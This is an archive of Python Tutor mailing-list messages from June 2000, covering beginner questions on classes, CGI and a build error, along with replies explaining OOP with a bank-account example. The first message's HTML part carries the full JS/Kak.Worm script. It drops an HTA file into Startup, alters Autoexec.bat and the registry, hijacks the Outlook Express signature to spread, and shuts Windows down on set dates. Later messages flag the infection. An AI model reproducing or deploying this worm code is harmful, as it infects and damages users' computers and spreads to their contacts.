From geoffbays@mindspring.com  Mon Jun 26 09:04:08 2000
From: geoffbays@mindspring.com (geoffrey bays)
Date: Mon, 26 Jun 2000 01:04:08 -0700
Subject: [Tutor] classes and objects
Message-ID: <000801bfdf45$1b974860$212356d1@computer>

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01BFDF0A.6E9097A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I'm new to programming, and plowing through Learning Python by Lutz and =
Ascher. Much of it is understandable with some effort, but the chapter =
on classes and object oriented programming is a forty-page tour-de-force =
that leaves me breathless and babbling! Alan Gault's Python tutorial fro =
beginners has some reasonably digestable examples. Any other sources for =
examples, exercises for Python OOP? I'm also looking for easy, clear =
guidance on CGI programming with Python.

Thanks, Geoffrey


------=_NextPart_000_0005_01BFDF0A.6E9097A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial>I'm new to programming, and plowing through =
<U>Learning=20
Python </U>by Lutz and Ascher. Much of it is understandable with some =
effort,=20
but the chapter on classes and object oriented programming is a =
forty-page=20
tour-de-force that leaves me breathless and babbling! Alan Gault's =
Python=20
tutorial fro beginners has some reasonably digestable examples. Any =
other=20
sources for examples, exercises for Python OOP? I'm also looking for =
easy, clear=20
guidance on CGI programming with Python.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial>Thanks, Geoffrey</FONT></DIV>
<DIV>
<DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
id=3Dscr></OBJECT></DIV>
<SCRIPT><!--
function sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HEAD><TITLE>Driver =
Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =
WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object =
id=3D'wsh' =
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP=
T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew =
ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=
fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =
mye=3Dnew =
Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=
~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=
\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=
(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=
eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs=
.GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr=
)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=
@echo off>'+pth);t1.WriteLine('del =
'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=
k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=
T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=
n+'\\\\Software\\\\Microsoft\\\\Outlook =
Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\=
"Default =
Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=
\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =
#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=
\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=
teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =
Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=
L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=
;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=
ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s =
'+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<BODY><D=
IV style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=
(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =
sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095=
);t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=
;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\kak.hta\":\"C:\\\\=
\\\\windows\\\\\\\\Start =
Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user=
Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
r.appVersion)>4))||(agt.indexOf(\"msie =
5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
</"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut=
es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =
&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
!');wsh.Run(wd+'RUNDLL32.EXE =
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
failed &nbsp; =
!]]%%%%%</"+"BODY></"+"HTML>WW";la=3D(navigator.systemLanguage)?navigator=
.systemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows=
\\Menu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
gt.indexOf("msie 5.")!=3D-1))scr.write();
//--></SCRIPT>
</OBJECT></DIV></BODY></HTML>

------=_NextPart_000_0005_01BFDF0A.6E9097A0--



From ANTIGEN_MARS@mars.otago.ac.nz  Mon Jun 26 06:10:09 2000
From: ANTIGEN_MARS@mars.otago.ac.nz (ANTIGEN_MARS)
Date: Mon, 26 Jun 2000 17:10:09 +1200
Subject: [Tutor] Antigen found JS/Kak.Worm virus
Message-ID: <B57613845A50D211864C0000F8FA5C28025BFB0B@mars.otago.ac.nz>

Antigen for Exchange found Unknown infected with JS/Kak.Worm virus.
The file is currently Deleted.  The message, "[Tutor] classes and objects",
was
sent from geoffrey bays  and was discovered in IMC Queues\Inbound
located at University of Otago/COMMERCE/MARS.

If you have any questions regarding this message please contact:

Neil Dobier
Systems Support Specialist
Commerce Division
University of Otago
P.O.Box 56
Crn Clyde & Union Street
Dunedin
New Zealand
Phone: 64 3 479 8996
Mobile: 021674968
Fax: 64 3 479 8171


From wardon@xtra.co.nz  Mon Jun 26 08:01:23 2000
From: wardon@xtra.co.nz (Warren Doney)
Date: Mon, 26 Jun 2000 19:01:23 +1200
Subject: **VIRUS** [Tutor] classes and objects
References: <000801bfdf45$1b974860$212356d1@computer>
Message-ID: <3956FFC3.6646978@xtra.co.nz>

Geoffry,
	Your post to the list has a nasty little
script embedded in it (JS/Kak.Worm virus). 
To see it, open it with your favorite browser 
& select "view sorce". I suggest you run a full 
anti-virus scan ASAP & turn off html formatting 
in Outlook Express.

--
Full plate & packing steel! - Minsk


From dyoo@hkn.EECS.Berkeley.EDU  Mon Jun 26 08:19:24 2000
From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo)
Date: Mon, 26 Jun 2000 00:19:24 -0700 (PDT)
Subject: [Tutor] classes and objects
In-Reply-To: <000801bfdf45$1b974860$212356d1@computer>
Message-ID: <Pine.LNX.4.21.0006252306110.13167-100000@hkn.EECS.Berkeley.EDU>

On Mon, 26 Jun 2000, geoffrey bays wrote:

> I'm new to programming, and plowing through Learning Python by Lutz
> and Ascher. Much of it is understandable with some effort, but the
> chapter on classes and object oriented programming is a forty-page
> tour-de-force that leaves me breathless and babbling! Alan Gault's
> Python tutorial fro beginners has some reasonably digestable examples.
> Any other sources for examples, exercises for Python OOP? I'm also
> looking for easy, clear guidance on CGI programming with Python.


To address your second question, there's a particularly nice tutorial on
Python and CGI at:

  http://www.devshed.com/Server_Side/Python/CGI/

and there are many other links on CGI programming at:

  http://www.python.org/topics/web/basic-cgi.html


For your first question about OOP, I haven't found a link to an OOP
tutorial with Python yet.  (Most likely, I'm not looking hard enough.)  
However, OOP isn't too hard.  OOP is a way of structuring programs that
emphasize the construction of agents.  The example that I remember, when I
learned OOP, was that of bank accounts.  I hope the original author
forgives me for paraphrasing the example.  I'll try to recount it here.  
Warning: this is slightly long.


Imagine that we want to be able to work with bank accounts.  
Specifically, we want to associate with a bank account a 'name' and a
'balance'.  With the techniques we know right now, we can do this with a
hashtable.

###
myaccount = {'name' : 'My Account', 'balance' : 100}
###

Our accounts will have this sort of regular structure.  It might be easier
to make a function that constructs these hash tables, just so that the
programmer doesn't have to type so much.

###
def makeAccount(name, balance):
	return {'name' : name, 'balance' : balance}
###

Of course, this is just for convenience's sake.

Now that we have an 'account', we'd like to do certain things with
it.  For example, we'd like to be able to deposit and withdraw amounts
from the account.  We _could_ just directly modify our hash, but we want
to make things more understandable, so that anyone who reads our code
knows exactly what we're doing and why.

###
def deposit(account, amount):
	account['balance'] = account['balance'] + amount

def withdraw(account, amount):
	account['balance'] = account['balance'] - amount
###

And, of course, we'd like a way to summarize what our account has:

###
def summary(account):
	return "'%s' contains %s" % (account['name'], account['balance'])
###


Fairly simple stuff.  Then, we'd be able to use it like this:

###
myaccount = makeAccount('My Wonderfully Woeful Account', 0)
deposit(myaccount, 500)
withdraw(myaccount, 300)
print summary(myaccount)
###


Let's notice what sort of stuff we're doing with these accounts.  Almost
every function that we've written so far appears to take in an account as
an argument, and manipulates it in some way.  The only exception,
makeAccount, could be amended to fit this pattern by passing in an empty
hash to be initialized as an 'account':

###
def initAccount(account, name, balance):
	account['name'] = name
	account['balance'] = balance
###

That takes care of that.  Then we could use this as follows:

###
myaccount = {}
initAccount(myaccount, 'My whimsical deposit box', 25)
###

If we wanted to expand the functionality of this, we might add a few more
functions to gradually refine what sort of operations we can do with these
accounts.  In this case, we could think of an account as not just a
hashtable anymore, but as a type of 'thing', which has defined functions
that you can do to it.  It's as if we were saying something like, "Ok,
account, withdraw money from yourself."  "Ok, account, now summarize
yourself."

It's this view that characterizes OOP programming!  In OOP, we try to
structure our programs so that our system is filled with these things,
these objects, that we can command at our bidding.  If you've done
anything with I/O, you might already be familiar with the 'file' object.  
Whenever we open a file, what Python's doing is returning an initialized
file object.

###
myfile = open("temp.txt")
###

and as a file object, it has specific functions that act on it.  In
languages that don't directly support OOP, it would look something like:

### Warning, not python ***
close(myfile)
###

instead of the familiar pythonisque:

###
myfile.close()
###


To continue with that account example, we want to be able to say things
like:

###
myaccount.deposit(10)
myaccount.withdraw(42)
###

and we want to be able to see exactly what sort of operations accounts can
support with:

###
dir(myaccount)
###

In languages that don't directly support OOP, this is a bit hard, because
there's really no tight bonding that connect that hashtable with the set
of functions that work with it.  Who knows --- what if 'deposit()' was
meant to be used in a mail-dropping program, and not a financial program?  
Yes, we can write the two in the same file, true, and this has worked in
non-OOP languages pretty well.  However, OOP languages make this binding
more explicit, and this seems to aid people in the design of OOP programs.

So how does the notion of an account look like in OOP'ish python?  Here
goes:

###
class Account:
	def __init__(self, name, balance):
		self.name = name
		self.balance = balance

	def withdraw(self, amount):
		self.balance = self.balance - amount

	def deposit(self, amount):
		self.balance = self.balance + amount

	def summary(self):
		return "'%s contains %s" % (self.name, self.balance)
###

As you can see, it's pretty much the same stuff as above.  It is,
admittedly, shorter, but that's just a matter of syntax.  What's pretty
nice about this is that it enforces a few constraints on how withdraw(),
deposit(), and summary() are used --- there is no ambiguity that these
functions are meant to be used with accounts now, since they're wrapped
inside an "Account".

How do we use this, then?  Here's an example:

###
x = Account('My classy account', 1000)
print x.summary()
x.withdraw(1000)
print x.summary()
###

Plus, we have the added benefit of allowing people to look at the
functions associated with the class with dir():

###
>>> dir(Account)
['__doc__', '__init__', '__module__', 'deposit', 'summary', 'withdraw']
###

Still, this doesn't disguise the fact that, beneath this all, that
hashtable is in there somewhere:

###
>>> dir(myaccount)
['balance', 'name']
###

I hope this gives you a taste of what OOP is about.  I know I rushed
things a bit though, so if you have any questions on this, feel free to
ask again for clarification.  I have not even touched other aspects of
OOP, such as inheritence or polymorphism, that are possible because of
this restructuring of data and functions.  However, this conception of
programming as designing classes is at the heart of OOP.



From tuckerg@acm.org  Mon Jun 26 14:14:59 2000
From: tuckerg@acm.org (Gregory Tucker)
Date: Mon, 26 Jun 2000 22:14:59 +0900
Subject: [Tutor] classes and objects
References: <000801bfdf45$1b974860$212356d1@computer>
Message-ID: <39575753.5077E42@acm.org>

Hi,

I am also going through Learning Python, though I haven't yet gotten to that
chapter. In the book "Sams Teach Yourself Python in 24 Hours", the whole of
section 2, consisting of 8 chapters (135 pages), is given to OO concepts.
You may find this easier to digest.

I am also interested "easy, clear guidance on CGI programming with Python."
Please summarize anything you come across. I have built one simple form
(from 24 Hours), but I have lots of unresolved questions. How persistent is
the connection. How does it handle multi-users. Etc. According to one
source, the definitive work on CGI programming is "CGI Programming with
Perl, 2nd Edition". Unfortunately it is not Python.

Regards,
Greg

---- Original Message ----
I'm new to programming, and plowing through Learning Python by Lutz and
Ascher. Much of it is understandable with some effort, but the chapter on
classes and object oriented programming is a forty-page tour-de-force that
leaves me breathless and babbling! Alan Gault's Python tutorial fro
beginners has some reasonably digestable examples. Any other sources for
examples, exercises for Python OOP? I'm also looking for easy, clear
guidance on CGI programming with Python.
 
Thanks, Geoffrey
-- 
 .---. .---. .--- .---.   |  Gregory Tucker, Tokyo, Japan
 |---. | |-< >--- |---.   |  
 `---' `-'`-'`--- `---'   |  "Our Father, who art in Redmond,
 My opinions are my own.  |  William by thy name..."



From Huang John 810-575-1934 <jzd3v8@hqs.mid.gmeds.com>  Mon Jun 26 19:05:27 2000
From: Huang John 810-575-1934 <jzd3v8@hqs.mid.gmeds.com> (Huang John 810-575-1934)
Date: Mon, 26 Jun 2000 14:05:27 -0400 (EDT)
Subject: [Tutor] Installation problem of python1.5.2
Message-ID: <200006261807.OAA10413@wnmcdik0>

Hi, Guys

I tried to install python in SunOS5.7 but failed. After configuration, I typed 
make, I got some errors:
.......
/usr/include/sys/siginfo.h:74: parse error before `pthread_attr_t'
/usr/include/sys/siginfo.h:74: warning: no semicolon at end of struct or union
/usr/include/sys/siginfo.h:76: parse error before `}'
intrcheck.c: In function `intcatcher':
intrcheck.c:190: warning: passing arg 2 of `signal' from incompatible pointer 
type
intrcheck.c: At top level:
intrcheck.c:194: warning: initialization from incompatible pointer type
intrcheck.c: In function `PyOS_InitInterrupts':
intrcheck.c:199: warning: assignment from incompatible pointer type
intrcheck.c:199: warning: comparison of distinct pointer types lacks a cast
intrcheck.c:200: warning: passing arg 2 of `signal' from incompatible pointer 
type
intrcheck.c: In function `PyOS_FiniInterrupts':
intrcheck.c:215: warning: passing arg 2 of `signal' from incompatible pointer 
type
make[1]: *** [intrcheck.o] Error 1
make[1]: Leaving directory `/home/jzd3v8/Python-1.5.2/Parser'
make: *** [Parser] Error 2

Could any on tell me what's wrong and how to fix it? Thanks!

Jun




From Steven Gilmore" <srGilmore@sprintmail.com  Mon Jun 26 19:32:28 2000
From: Steven Gilmore" <srGilmore@sprintmail.com (Steven Gilmore)
Date: Mon, 26 Jun 2000 14:32:28 -0400
Subject: [Tutor] *virus* JS/KAK worm!  This doesn't happen often?
Message-ID: <001e01bfdf9c$e39be440$e273f4d1@srgilmor>

 I  realize this has nothing to do with learning Python but... I just joined
tutor and  five or six messages later one of those worms, that have been
prevalent lately, is in my inbox!  Now I know it probably wasn't on purpose
but I wanted to know if this happens often on this list.  Luckily I have
been vigilant enough to have updated DAT files and the latest security fixes
or all of not-so-tech savvy friends would be getting a not so harmless
chain-letter.  Excuse me for ranting, I won't make a habit of it =)

Steven Gilmore



From dyoo@hkn.EECS.Berkeley.EDU  Mon Jun 26 22:27:07 2000
From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo)
Date: Mon, 26 Jun 2000 14:27:07 -0700 (PDT)
Subject: [Tutor] *virus* JS/KAK worm!  This doesn't happen often?
In-Reply-To: <001e01bfdf9c$e39be440$e273f4d1@srgilmor>
Message-ID: <Pine.LNX.4.21.0006261425100.21106-100000@hkn.EECS.Berkeley.EDU>

On Mon, 26 Jun 2000, Steven Gilmore wrote:

>  I  realize this has nothing to do with learning Python but... I just joined
> tutor and  five or six messages later one of those worms, that have been
> prevalent lately, is in my inbox!  Now I know it probably wasn't on purpose
> but I wanted to know if this happens often on this list.  Luckily I have
> been vigilant enough to have updated DAT files and the latest security fixes
> or all of not-so-tech savvy friends would be getting a not so harmless
> chain-letter.  Excuse me for ranting, I won't make a habit of it =)

This is actually new to me --- I've rarely seen macro viruses on
tutor@python.org.  I think this is an exceptional case, and should be
treated as such.



From jcm@bigskytel.com  Tue Jun 27 00:58:19 2000
From: jcm@bigskytel.com (David Porter)
Date: Mon, 26 Jun 2000 17:58:19 -0600
Subject: [Tutor] *virus* JS/KAK worm!  This doesn't happen often?
In-Reply-To: <Pine.LNX.4.21.0006261425100.21106-100000@hkn.EECS.Berkeley.EDU>; from dyoo@hkn.EECS.Berkeley.EDU on Mon, Jun 26, 2000 at 02:27:07PM -0700
References: <001e01bfdf9c$e39be440$e273f4d1@srgilmor> <Pine.LNX.4.21.0006261425100.21106-100000@hkn.EECS.Berkeley.EDU>
Message-ID: <20000626175819.A16261@novara.avenue>

* Daniel Yoo <dyoo@hkn.EECS.Berkeley.EDU>:
> On Mon, 26 Jun 2000, Steven Gilmore wrote:
> 
> >  I  realize this has nothing to do with learning Python but... I just joined
> > tutor and  five or six messages later one of those worms, that have been
> > prevalent lately, is in my inbox!  Now I know it probably wasn't on purpose
> > but I wanted to know if this happens often on this list.  Luckily I have
> > been vigilant enough to have updated DAT files and the latest security fixes
> > or all of not-so-tech savvy friends would be getting a not so harmless
> > chain-letter.  Excuse me for ranting, I won't make a habit of it =)
> 
> This is actually new to me --- I've rarely seen macro viruses on
> tutor@python.org.  I think this is an exceptional case, and should be
> treated as such.

In the last week I have recieved several viruses from mailing lists.
Literally, four other mailing lists, making this the fifth. This is the
first from tutor that I have seen though. The four other lists were all
Linux-specific, so you can imagine that they really get around. 

  david.



From spirou@aragne.com  Tue Jun 27 00:36:58 2000
From: spirou@aragne.com (Denis =?iso-8859-1?Q?Fr=E8re?=)
Date: Tue, 27 Jun 2000 01:36:58 +0200
Subject: [Tutor] *virus* JS/KAK worm!  This doesn't happen often?
References: <001e01bfdf9c$e39be440$e273f4d1@srgilmor>
Message-ID: <3957E91A.983BA1D3@aragne.com>

Steven Gilmore wrote:
> 
>  I  realize this has nothing to do with learning Python but...

Nothing, indeed.

> I just joined tutor and  five or six messages later one of those
> worms, that have been prevalent lately, is in my inbox!
> Now I know it probably wasn't on purpose 

It is. It's a strange initiation rite for all of you rookies. And the
worse is creeping up on you ... 
:-))) Stop kidding !

> but I wanted to know if this happens often on this list.

Yes, that's why we all here wear a strange latex suit with a big helmet
and a cloak. (The cloak is not mandatory, but that's prettier).
Read the archives and count  :-)))))))

> Luckily I have been vigilant enough to have updated DAT files
> and the latest security fixes 

We're all very glad for you.

> or all of not-so-tech savvy friends would be getting a not so
> harmless chain-letter.

Tell them to try the GNU.

> Excuse me for ranting, I won't make a habit of it =)

Do _you_ excuse me ? ;-)

-- 
Denis Frère
P3B    : Club Free-Pytho-Linuxien Carolorégien http://www.p3b.org
Aragne : Internet - Réseaux - Formations  http://www.aragne.com


From wmperry@903internet.com  Tue Jun 27 04:51:42 2000
From: wmperry@903internet.com (William Perry)
Date: Mon, 26 Jun 2000 22:51:42 -0500
Subject: [Tutor] Function output
In-Reply-To: <200006250103370980.067053A9@www.903internet.com>
References: <200006250103370980.067053A9@www.903internet.com>
Message-ID: <200006262251420170.013A9981@www.903internet.com>

--=====_96207790241=_
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

First I need to thank everyone for taking time to answer, I'm alittle=
 embarrested to admit that the  terminology I used in the original question=
 was incorrect. What I'm actually trying to do is get method output from a=
 class. ( Thanks to the first set of answers I have the functions operating=
 correctly as functions) I think that the suggestion of including the=
 problem code is the best way to ' re-ask'. And again thanks for the help.

From Idle screen:


>>> class rollum:
 def funct1 (self):
  s =3D " Hello World"
  return s
 def output (self):
  a =3D funct1()
  return a
 
 
>>> rollum.output()
Traceback (innermost last):
  File "<pyshell#42>", line 1, in ?
    rollum.output()
TypeError: unbound method must be called with class instance 1st argument

>>> class rollum:
 def funct1 (self):
  s =3D " Hello World"
  return s
 def output (self):
  a =3D funct1()
  return a
 def printer (self):
  print self.output()
  
  
>>> rollum.printer()
Traceback (innermost last):
  File "<pyshell#47>", line 1, in ?
    rollum.printer()
TypeError: unbound method must be called with class instance 1st argument

*********** REPLY SEPARATOR ***********

On 6/25/00 at 1:03 AM william wrote:
I guess I missed something fundamental in programming because I don't seem=
 to find any references for this.
 
 A little background, I'm complete novice at programing with Python  as my=
 first language. (well a little Basic back in the 70's) I'm running Python=
 on Windows 95 and I've been reading "Learning Python" , "Teach yourself=
 Python in 24 hrs" and just about anything else I can find.
 
 The problem I'm having is how to get output from the functions in a module=
 to the screen. I wanted to try writing something other than the book=
 exercises to get a better feel for the process, I wrote a function that=
 generated a random number and a second function that used that number to=
 select from a list. When I type them in in the interactive prompt in Idle=
 they do exactly that but when I place them in a module and save. They=
 refuse to output to the screen either in Idle or from the DOS prompt. I've=
 been working at this for several weeks and the error message(s) change=
 depending on what I try, including no error message and no output. I added=
 a test print message at the end and it does print so It appears to be that=
 the function output isn't being captured or read.  
I'm less concerned with making this work than in why it won't and where I=
 should be looking to find answers.

W M Perry


--=====_96207790241=_
Content-Type: text/html; charset="us-ascii"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=windows-1252" http-equiv=Content-Type>
<META content="MSHTML 5.00.2722.2800" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff style="FONT-FAMILY: Arial" text=#000000>
<DIV>First I need to thank everyone for taking time to answer, I'm alittle 
embarrested to admit that&nbsp;the  terminology I used in the original question 
was incorrect. What I'm actually trying to do is get method output from a class. 
( Thanks to the first set of answers I have the functions operating correctly as 
functions) I think that the suggestion of including the problem code is the best 
way to ' re-ask'. And again thanks for the help.</DIV>
<DIV>&nbsp;</DIV>
<DIV>From Idle screen:</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&gt;&gt;&gt; class rollum:<BR>&nbsp;def funct1 (self):<BR>&nbsp;&nbsp;s = " 
Hello World"<BR>&nbsp;&nbsp;return s<BR>&nbsp;def output 
(self):<BR>&nbsp;&nbsp;a = funct1()<BR>&nbsp;&nbsp;return 
a<BR>&nbsp;<BR>&nbsp;<BR>&gt;&gt;&gt; rollum.output()<BR>Traceback (innermost 
last):<BR>&nbsp; File "&lt;pyshell#42&gt;", line 1, in ?<BR>&nbsp;&nbsp;&nbsp; 
rollum.output()<BR>TypeError: unbound method must be called with class instance 
1st argument</DIV>
<DIV><BR>&gt;&gt;&gt; class rollum:<BR>&nbsp;def funct1 (self):<BR>&nbsp;&nbsp;s 
= " Hello World"<BR>&nbsp;&nbsp;return s<BR>&nbsp;def output 
(self):<BR>&nbsp;&nbsp;a = funct1()<BR>&nbsp;&nbsp;return a<BR>&nbsp;def printer 
(self):<BR>&nbsp;&nbsp;print 
self.output()<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&gt;&gt;&gt; 
rollum.printer()<BR>Traceback (innermost last):<BR>&nbsp; File 
"&lt;pyshell#47&gt;", line 1, in ?<BR>&nbsp;&nbsp;&nbsp; 
rollum.printer()<BR>TypeError: unbound method must be called with class instance 
1st argument</DIV>
<DIV><BR><FONT face=Arial size=2>*********** REPLY SEPARATOR 
***********<BR><BR>On 6/25/00 at 1:03 AM william wrote:</FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">
  <DIV><FONT size=2>I guess I missed something fundamental in programming 
  because I don't seem to find any references for this.</FONT></DIV>
  <DIV><FONT size=2></FONT>&nbsp;</DIV>
  <DIV><FONT size=2>&nbsp;A little background, I'm complete novice at programing 
  with Python&nbsp; as my first language. (well a little Basic back in the 70's) 
  I'm running Python on Windows 95 and I've been reading "Learning 
  Python"&nbsp;, "Teach yourself Python in 24 hrs" and just about anything else 
  I can find.</FONT></DIV>
  <DIV><FONT size=2></FONT>&nbsp;</DIV>
  <DIV><FONT size=2>&nbsp;The problem I'm having is how to get output from the 
  functions in a module to the screen. I wanted to try writing something other 
  than the book exercises to get a better feel for the process, I wrote a 
  function that generated a random number and a second function that used that 
  number to select from a list. When I type them in in the interactive prompt in 
  Idle they do exactly that but when I place them in a module and 
  save.&nbsp;They refuse to output to the screen either in Idle or from the DOS 
  prompt. I've been working at this for several weeks and the error message(s) 
  change depending on what I try, including no error message and no output. I 
  added a test print message at the end and it does print so It appears to be 
  that the function output isn't being captured or read.&nbsp; </FONT></DIV>
  <DIV><FONT size=2>I'm less concerned with making this work than in why it 
  won't and where I should be looking to find answers.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT size=3>W M Perry</FONT></DIV>
  <DIV>&nbsp;</DIV><FONT size=2 Arial></BLOCKQUOTE></FONT></BODY></HTML>


--=====_96207790241=_--



From scarblac@pino.selwerd.nl  Tue Jun 27 11:27:04 2000
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Tue, 27 Jun 2000 12:27:04 +0200
Subject: [Tutor] Function output
In-Reply-To: <200006262251420170.013A9981@www.903internet.com>; from wmperry@903internet.com on Mon, Jun 26, 2000 at 10:51:42PM -0500
References: <200006250103370980.067053A9@www.903internet.com> <200006262251420170.013A9981@www.903internet.com>
Message-ID: <20000627122704.A1470@pino.selwerd.nl>

On Mon, Jun 26, 2000 at 10:51:42PM -0500, William Perry wrote:

> First I need to thank everyone for taking time to answer, I'm alittle
> embarrested to admit that the terminology I used in the original question
> was incorrect. What I'm actually trying to do is get method output from a
> class. ( Thanks to the first set of answers I have the functions operating
> correctly as functions) I think that the suggestion of including the problem
> code is the best way to ' re-ask'. And again thanks for the help.
>
> >From Idle screen: 
> 
> >>> class rollum:
>  def funct1 (self):
>   s = " Hello World"
>   return s
>  def output (self):
>   a = funct1()
>   return a
>  
>  
> >>> rollum.output()
> Traceback (innermost last):
>   File "<pyshell#42>", line 1, in ?
>     rollum.output()
> TypeError: unbound method must be called with class instance 1st argument

Ahh, but this is another problem. You must make an instance of the class
first and then use that.

You see, a class is a kind of "blueprint" for an object. It can't be used by
itself, but you use it to make instances of the class, and you can use those.

So try:

>>> r = rollum()      # make an instance
>>> r.output()        # call the method on the instance

But that still won't work, since the output function uses a function
funct1(), but doesn't know where to find it. You have to tell it to look in
"self":

>>> class rollum:
   def funct1(self):
      return "Hello World"
   def output(self):
      a = self.funct1()
	  return a

>>> r = rollum()
>>> r.output()

I hope this clears it up a bit.

(Inside the method, "self" is now a reference to r, btw)


-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From alan.gauld@bt.com  Tue Jun 27 11:13:55 2000
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Tue, 27 Jun 2000 11:13:55 +0100
Subject: [Tutor] classes and objects
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20751D1DA@mbtlipnt02.btlabs.bt.co.uk>

> breathless and babbling! Alan Gault's Python tutorial fro 
> beginners has some reasonably digestable examples. 

Thanks for that, I hope you also checked the cas4e stuidy which has
an OOP implementation too.

> Any other 
> sources for examples, exercises for Python OOP? 

I assume you've read the official Python tutorial that comes with 
the download or on the python web site?

Also try looking in the cetus-links web site for general OO 
information. The principles of OOP are pretty much the same 
